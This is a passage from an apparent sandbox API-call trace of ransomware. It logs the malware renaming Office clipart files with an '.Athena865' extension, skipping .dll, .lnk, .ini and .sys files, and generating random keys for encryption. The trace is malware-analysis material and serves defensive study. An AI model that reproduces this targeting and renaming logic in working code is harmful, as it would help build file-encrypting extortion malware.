office\\clipart\\pub60cor\\pe02288_.wmf.athena865"), dwFlags=0x1) returned 1 [0133.164] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02288_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02288_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0133.164] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=30432) returned 1 [0133.164] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0133.165] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0133.165] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.168] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0133.168] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0133.168] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.169] lstrcpyW (in: lpString1=0x241e8ae, lpString2="PE02293_.WMF" | out: lpString1="PE02293_.WMF") returned="PE02293_.WMF" [0133.169] lstrlenW (lpString="PE02293_.WMF") returned 12 [0133.169] lstrlenW (lpString="Athena865") returned 9 [0133.169] lstrcmpiW (lpString1="2293_.WMF", lpString2="Athena865") returned -1 [0133.169] lstrlenW (lpString=".dll") returned 4 [0133.169] lstrcmpiW (lpString1="PE02293_.WMF", lpString2=".dll") returned 1 [0133.169] lstrlenW (lpString=".lnk") returned 4 [0133.169] lstrcmpiW (lpString1="PE02293_.WMF", lpString2=".lnk") returned 1 [0133.169] lstrlenW (lpString=".ini") returned 4 [0133.169] lstrcmpiW (lpString1="PE02293_.WMF", lpString2=".ini") returned 1 [0133.169] lstrlenW (lpString=".sys") returned 4 [0133.170] lstrcmpiW (lpString1="PE02293_.WMF", lpString2=".sys") returned 1 [0133.170] lstrlenW (lpString="PE02293_.WMF") returned 12 [0133.170] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02293_.WMF.Athena865") returned 73 [0133.170] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02293_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02293_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02293_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02293_.wmf.athena865"), dwFlags=0x1) returned 1 [0133.171] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02293_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02293_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0133.171] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=22608) returned 1 [0133.171] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0133.172] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0133.172] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.174] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0133.175] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0133.175] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.176] lstrcpyW (in: lpString1=0x241e8ae, lpString2="PE02296_.WMF" | out: lpString1="PE02296_.WMF") returned="PE02296_.WMF" [0133.176] lstrlenW (lpString="PE02296_.WMF") returned 12 [0133.176] lstrlenW (lpString="Athena865") returned 9 [0133.176] lstrcmpiW (lpString1="2296_.WMF", lpString2="Athena865") returned -1 [0133.176] lstrlenW (lpString=".dll") returned 4 [0133.176] lstrcmpiW (lpString1="PE02296_.WMF", lpString2=".dll") returned 1 [0133.176] lstrlenW (lpString=".lnk") returned 4 [0133.176] lstrcmpiW (lpString1="PE02296_.WMF", lpString2=".lnk") returned 1 [0133.176] lstrlenW (lpString=".ini") returned 4 [0133.176] lstrcmpiW (lpString1="PE02296_.WMF", lpString2=".ini") returned 1 [0133.176] lstrlenW (lpString=".sys") returned 4 [0133.176] lstrcmpiW (lpString1="PE02296_.WMF", lpString2=".sys") returned 1 [0133.176] lstrlenW (lpString="PE02296_.WMF") returned 12 [0133.176] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02296_.WMF.Athena865") returned 73 [0133.176] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02296_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02296_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02296_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02296_.wmf.athena865"), dwFlags=0x1) returned 1 [0133.177] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02296_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02296_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0133.178] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=21288) returned 1 [0133.178] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0133.178] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0133.178] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.181] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0133.182] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0133.182] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.182] lstrcpyW (in: lpString1=0x241e8ae, lpString2="PE02369_.WMF" | out: lpString1="PE02369_.WMF") returned="PE02369_.WMF" [0133.182] lstrlenW (lpString="PE02369_.WMF") returned 12 [0133.182] lstrlenW (lpString="Athena865") returned 9 [0133.182] lstrcmpiW (lpString1="2369_.WMF", lpString2="Athena865") returned -1 [0133.182] lstrlenW (lpString=".dll") returned 4 [0133.182] lstrcmpiW (lpString1="PE02369_.WMF", lpString2=".dll") returned 1 [0133.183] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02369_.WMF.Athena865") returned 73 [0133.183] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02369_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02369_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02369_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02369_.wmf.athena865"), dwFlags=0x1) returned 1 [0133.184] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02369_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02369_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0133.184] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2240) returned 1 [0133.184] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0133.185] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0133.185] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.187] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0133.187] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0133.187] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.188] lstrcpyW (in: lpString1=0x241e8ae, lpString2="PE02522_.WMF" | out: lpString1="PE02522_.WMF") returned="PE02522_.WMF" [0133.188] lstrlenW (lpString="PE02522_.WMF") returned 12 [0133.188] lstrlenW (lpString="Athena865") returned 9 [0133.188] lstrcmpiW (lpString1="2522_.WMF", lpString2="Athena865") returned -1 [0133.188] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02522_.WMF.Athena865") returned 73 [0133.188] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02522_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02522_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02522_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02522_.wmf.athena865"), dwFlags=0x1) returned 1 [0133.189] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02522_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02522_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0133.190] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=14840) returned 1 [0133.190] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0133.190] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0133.190] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.193] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0133.193] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0133.193] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.194] lstrcpyW (in: lpString1=0x241e8ae, lpString2="PE02950_.WMF" | out: lpString1="PE02950_.WMF") returned="PE02950_.WMF" [0133.194] lstrlenW (lpString="PE02950_.WMF") returned 12 [0133.194] lstrlenW (lpString="Athena865") returned 9 [0133.194] lstrcmpiW (lpString1="2950_.WMF", lpString2="Athena865") returned -1 [0133.194] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02950_.WMF.Athena865") returned 73 [0133.194] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02950_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02950_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02950_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02950_.wmf.athena865"), dwFlags=0x1) returned 1 [0133.195] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02950_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02950_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0133.195] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=7466) returned 1 [0133.196] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0133.196] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0133.196] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.199] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0133.199] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0133.199] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.200] lstrcpyW (in: lpString1=0x241e8ae, lpString2="PE02957_.WMF" | out: lpString1="PE02957_.WMF") returned="PE02957_.WMF" [0133.200] lstrlenW (lpString="PE02957_.WMF") returned 12 [0133.200] lstrlenW (lpString="Athena865") returned 9 [0133.200] lstrcmpiW (lpString1="2957_.WMF", lpString2="Athena865") returned -1 [0133.200] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02957_.WMF.Athena865") returned 73 [0133.200] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02957_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02957_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02957_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02957_.wmf.athena865"), dwFlags=0x1) returned 1 [0133.201] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02957_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02957_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0133.201] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3184) returned 1 [0133.203] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0133.204] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0133.204] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.205] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0133.206] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0133.206] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.206] lstrcpyW (in: lpString1=0x241e8ae, lpString2="PE03236_.WMF" | out: lpString1="PE03236_.WMF") returned="PE03236_.WMF" [0133.206] lstrlenW (lpString="PE03236_.WMF") returned 12 [0133.207] lstrlenW (lpString="Athena865") returned 9 [0133.207] lstrcmpiW (lpString1="3236_.WMF", lpString2="Athena865") returned -1 [0133.207] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03236_.WMF.Athena865") returned 73 [0133.207] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03236_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03236_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03236_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03236_.wmf.athena865"), dwFlags=0x1) returned 1 [0133.208] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03236_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03236_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0133.208] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1556) returned 1 [0133.208] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0133.209] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0133.209] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.211] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0133.212] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0133.212] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.212] lstrcpyW (in: lpString1=0x241e8ae, lpString2="PE03241_.WMF" | out: lpString1="PE03241_.WMF") returned="PE03241_.WMF" [0133.212] lstrlenW (lpString="PE03241_.WMF") returned 12 [0133.212] lstrlenW (lpString="Athena865") returned 9 [0133.212] lstrcmpiW (lpString1="3241_.WMF", lpString2="Athena865") returned -1 [0133.212] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03241_.WMF.Athena865") returned 73 [0133.212] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03241_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03241_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03241_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03241_.wmf.athena865"), dwFlags=0x1) returned 1 [0133.214] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03241_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03241_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0133.214] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2228) returned 1 [0133.214] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0133.215] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0133.215] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.217] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0133.218] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0133.218] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.218] lstrcpyW (in: lpString1=0x241e8ae, lpString2="PE03257_.WMF" | out: lpString1="PE03257_.WMF") returned="PE03257_.WMF" [0133.218] lstrlenW (lpString="PE03257_.WMF") returned 12 [0133.218] lstrlenW (lpString="Athena865") returned 9 [0133.218] lstrcmpiW (lpString1="3257_.WMF", lpString2="Athena865") returned -1 [0133.218] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03257_.WMF.Athena865") returned 73 [0133.219] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03257_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03257_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03257_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03257_.wmf.athena865"), dwFlags=0x1) returned 1 [0133.220] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03257_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03257_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0133.220] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=13184) returned 1 [0133.220] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0133.221] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0133.221] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.223] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0133.224] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0133.224] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.225] lstrcpyW (in: lpString1=0x241e8ae, lpString2="PE03331_.WMF" | out: lpString1="PE03331_.WMF") returned="PE03331_.WMF" [0133.225] lstrlenW (lpString="PE03331_.WMF") returned 12 [0133.225] lstrlenW (lpString="Athena865") returned 9 [0133.225] lstrcmpiW (lpString1="3331_.WMF", lpString2="Athena865") returned -1 [0133.225] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03331_.WMF.Athena865") returned 73 [0133.225] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03331_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03331_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03331_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03331_.wmf.athena865"), dwFlags=0x1) returned 1 [0133.227] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03331_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03331_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0133.227] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1682) returned 1 [0133.227] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0133.228] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0133.228] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.230] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0133.230] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0133.230] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.231] lstrcpyW (in: lpString1=0x241e8ae, lpString2="PE03339_.WMF" | out: lpString1="PE03339_.WMF") returned="PE03339_.WMF" [0133.231] lstrlenW (lpString="PE03339_.WMF") returned 12 [0133.231] lstrlenW (lpString="Athena865") returned 9 [0133.231] lstrcmpiW (lpString1="3339_.WMF", lpString2="Athena865") returned -1 [0133.231] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03339_.WMF.Athena865") returned 73 [0133.231] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03339_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03339_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03339_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03339_.wmf.athena865"), dwFlags=0x1) returned 1 [0133.232] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03339_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03339_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0133.233] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=10284) returned 1 [0133.233] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0133.233] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0133.233] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.236] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0133.236] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0133.236] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.237] lstrcpyW (in: lpString1=0x241e8ae, lpString2="PE03451_.WMF" | out: lpString1="PE03451_.WMF") returned="PE03451_.WMF" [0133.237] lstrlenW (lpString="PE03451_.WMF") returned 12 [0133.237] lstrlenW (lpString="Athena865") returned 9 [0133.237] lstrcmpiW (lpString1="3451_.WMF", lpString2="Athena865") returned -1 [0133.237] wsprintfW (in: 